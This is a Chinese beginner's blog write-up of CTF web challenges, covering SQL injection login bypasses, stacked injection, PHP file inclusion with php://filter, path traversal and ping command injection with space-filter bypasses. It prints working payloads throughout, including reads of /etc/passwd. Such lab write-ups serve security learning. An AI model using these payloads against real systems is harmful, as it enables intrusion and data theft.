从0到1的CTF之旅————Web(1)

今天学习了一下web感觉受益匪浅,小做几道题练练手,纯新手勿喷
————————————————————————————————————————————

第一题:[极客大挑战 2019]EasySQL

在这里插入图片描述
首先思考的便是最简单的登录绕过。

在逻辑上面,当点击登录按钮后会取你输入框的值与数据库中进行对比。

select * from user where username='admin' and password ='admin'

登录绕过是最基础的,就是要将这句SQL语句给屏蔽掉,进而让此语句的执行结果始终为真。

输入下面万能密码

' or '1'='1

当执行此语句时 ,就会变成`

select * from user where username='admin' and password ='admin' or '1'='1'

此时的 1=1 恒为真,在 状态下有一个为真则始终为,此时可绕过登录。

得到flag。

除了万能密码之外,还有万能账号,如下

admin' or 1=1#

在执行之后,sql语句如下所示:

select * from user where username='admin' or 1=1# and password ='admin'

此时,#会注释掉and后面的内容,而由于1=1始终为真,此时也可绕过登录。

得到的flag如下。
在这里插入图片描述
————————————————————————————————————————————

第二题:WarmUp

题目如下:
在这里插入图片描述

首先 , F12查看一下源代码,发现里面告知了有一个PHP文件。
在这里插入图片描述

打开下面的source.php 可以看到一段代码。
在这里插入图片描述

根据上图我们发现还有一个提示叫hint.php,打开看一下,发现有这样一段提示。

在这里插入图片描述
再返回到上一个source.php页面,分析代码,发现以下几点内容:

1.看到最后面有一张图片,发现这下面有一段链接,保存复制后发现就是那个滑稽的表情,证明此处是if函数并未满足前面的一个条件,所以才输出了该图片。

在这里插入图片描述

2.重点分析此段代码。

 if (! empty($_REQUEST['file'])   //检查变量是否为空,应不能为空
        && is_string($_REQUEST['file'])    //判断是否为字符串,应为字符串
        && emmm::checkFile($_REQUEST['file'])  //调用checkFile函数,应返回为true
    ) {
        include $_REQUEST['file'];    //此处有文件
        exit;
         }

3.上述提到了checkFile函数,所以此处也要分析一下。

  highlight_file(__FILE__); //打印代码
    class emmm  //定义emmm类
    {
        public static function checkFile(&$page)//将传入的参数赋给$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
            if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
                echo "you can't see it";//输出"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
                return true;//返回true
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')   //phpMyAdmin 4.8.0和4.8.1远程文件包含漏洞
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

上述四个if分别表示:
①判断是否为字符串。
②判断 p a g e 是 否 在 page是否在 pagewhitelist数组中
③截取 p a g e 中 ′ ? ′ 前 一 部 分 , 判 断 是 否 在 page中'?'前一部分,判断是否在 page?,whitelist数组中
④判断url解码并截取后的 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist中

4.在上述的第四个if语句中,我们可以通过先对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是’?',可以绕过。

5.根据hint.php中的提示,ffffllllaaaagggg有四层,由此可以推断出前面有四层目录。

6.先构造能够正常打开file文件的语句

source.php?file=hint.php?

此时可以看到图片已经没了

然后将ffffllllaaaagggg加进去,注意此时有四层,所以payload应该构造如下所示:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

在这里插入图片描述

可以得到flag,调整一下语句,把source.php给去掉。

http://URL/?file=hint.php?/../../../../ffffllllaaaagggg

此时则直接进入到该文件中。
在这里插入图片描述

————————————————————————————————————————————

第三题:Havefun

在这里插入图片描述
一只猫,点来点去没反应,看看F12吧。

果然,给出了提示。
在这里插入图片描述
意思是需要给出一个get变量,如果给出的变量是cat=dog的话就会输出后面那个东西,看格式估计是flag了。

构造如下:

http://URL/?cat=dog

果然,得到flag。

在这里插入图片描述
————————————————————————————————————————————

第四题:Include

在这里插入图片描述
看到当?file=flag.php时,页面返回Can you find out the flag。先输入?file=/etc/passwd,确认一下有没有返回,是否真的有文件包含的漏洞。

在这里插入图片描述
看到确实存在文件包含漏洞,但目前又没有其他的信息。

所以此处需要使用到伪协议

在这里插入图片描述
先尝试第一种方式,构造?file=php://filter/resource=index.php,发现没有回显。
在这里插入图片描述
再尝试构造第二种方式,?file=php://filter/read=convert.base64-encode/resource=index.php,发现有回显。

在这里插入图片描述

将得到的base64加密丢去解密,解密出来发现如下:

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

发现并没有过滤我们这个文件头,大胆的修改为?file=php://filter/convert.base64-encode/resource=flag.php,得到一串base64加密的字符串。

在这里插入图片描述
解密得到flag。
在这里插入图片描述
————————————————————————————————————————————

第五题:随便注

先顺着几个数字试一下。。。。。
在这里插入图片描述
在这里插入图片描述
只有这两个可以看到内容,后面的数字都不行了。

首先尝试一下万能注入,发现有三部分内容。

1' or 1=1 #

在这里插入图片描述

然后开始测试字段数,当字段数为3时会报错,说明此处只有2个字段。

1' order by 1 # 

在这里插入图片描述
在这里插入图片描述

接着尝试使用union select 爆字段,回显了过滤的关键字。

1' union select 1,2#

发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入。

利用堆叠注入,查询所有数据库。原理很简单,就是通过 ; 号注入多条SQL语句。 前面一句执行完后再执行后面的show databases

0'; show databases; #

在这里插入图片描述

然后用 show tables 尝试爆表。

0'; show tables; #

在这里插入图片描述

可以看到这里有两个表,我们先尝试爆words表的内容,再尝试爆数字表的内容。

1'; show columns from words; #
1';show columns from `1919810931114514`;

在这里插入图片描述
借鉴别人。

1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

在这里插入图片描述
得到flag{8e58f44c-b7a1-484e-8954-3193fc54e7a9}。

————————————————————————————————————————————

第六题:[ACTF2020 新生赛]Exec

在这里插入图片描述

先试一下ping 127.0.0.1,发现可以ping通。
在这里插入图片描述

在这里插入图片描述输入127.0.0.1| ls /,尝试查看根目录下的子目录,发现可以。
在这里插入图片描述

发现有flag,直接进入到flag目录下面去读他的内容,127.0.0.1| cat /flag

在这里插入图片描述

————————————————————————————————————————————

第七题:[SUCTF 2019]EasySQL

与前面一题有一些类似,所以首先尝试一下堆叠注入,1;show databases;

在这里插入图片描述

发现可以爆出数据库名,flag肯定就是放在ctf这个库下面的。
在这里插入图片描述

接下来尝试爆破数据表,1;show tables;

在这里插入图片描述
发现有两个表
在这里插入图片描述

尝试直接读一下flag里面的列,1;show columns from Flag;,发现被拒绝了。

在这里插入图片描述
再尝试一下1;select flag from Flag;,果然还是被拒绝了,肯定是关键词flag被屏蔽掉了。

不会了,看大佬的文章去了。

这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

后台语句为:select $post['query']||flag from Flag

所以我们要解决的问题是 || 或这个问题

测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

在这里插入图片描述
所以说
第一种解法:1;set sql_mode=PIPES_AS_CONCAT;select 1,其中set sql_mode=pipes_as_concat是将||的作用由or变为拼接字符串

第二种解法:*,1,也就是 select $_post['query']||flag from Flag$_post['query']换成*,1,也就变成了select *,1||flag from Flag这样就可以输出flag了

————————————————————————————————————————————

第八题:[极客大挑战 2019]Secret File

首先直接F12查看源代码,应该可以找到蛛丝马迹。

在这里插入图片描述
进去后看到一个secret,点击进去。
在这里插入图片描述
发现显示的是直接查阅结束了,中间肯定有一个页面被直接给跳过去了,用BP抓包看看。
在这里插入图片描述

抓到了,进去看看。

在这里插入图片描述
看到了一段源代码,提示flag在flag.php里面。

在这里插入图片描述
直接查看flag.php看一看,发现换了个页面,但是里面内容还是看不到。

在这里插入图片描述
尝试伪协议,打开hackbar输入下面地址:

http://URL/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag如下:
在这里插入图片描述
开始进行base64解码,得到一段源码。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>
    <body style="background-color:black;"><br><br><br><br><br><br>
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{4506defa-c6d2-4a9d-b04e-f58997d32ac5}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>
</html>

提交flag即可。

————————————————————————————————————————————

第九题:[GXYCTF2019]Ping Ping Ping
在这里插入图片描述

先尝试ping一下127.0.0.1,发现有回显。

在这里插入图片描述

然后直接尝试查看子目录,发现好像符号被过滤掉了。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls /

在这里插入图片描述
再直接试一下不加符号的,发现对空格好像也有屏蔽。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls

在这里插入图片描述

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|ls 

在这里插入图片描述

绕过空格屏蔽可采用以下方法。

$IFS
${IFS}
$IFS$1     //可以是任意数字
< 
<> 
{cat,flag.php}
%20 
%09 

直接查看flag,发现flag也被屏蔽了。。。。

在这里插入图片描述
没办法了,只有从index开始下手。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述
屏蔽了以上符号,不过我们可以钻一下符号的漏。

http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1`ls`

在这里插入图片描述
成功找到flag。

————————————————————————————————————————————

第十题:[极客大挑战 2019]LoveSQL

首先尝试一下万能注入,提示给出了密码。
在这里插入图片描述
在线的MD5解密解不出来,丢到自己的MD5爆破脚本去试一下。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值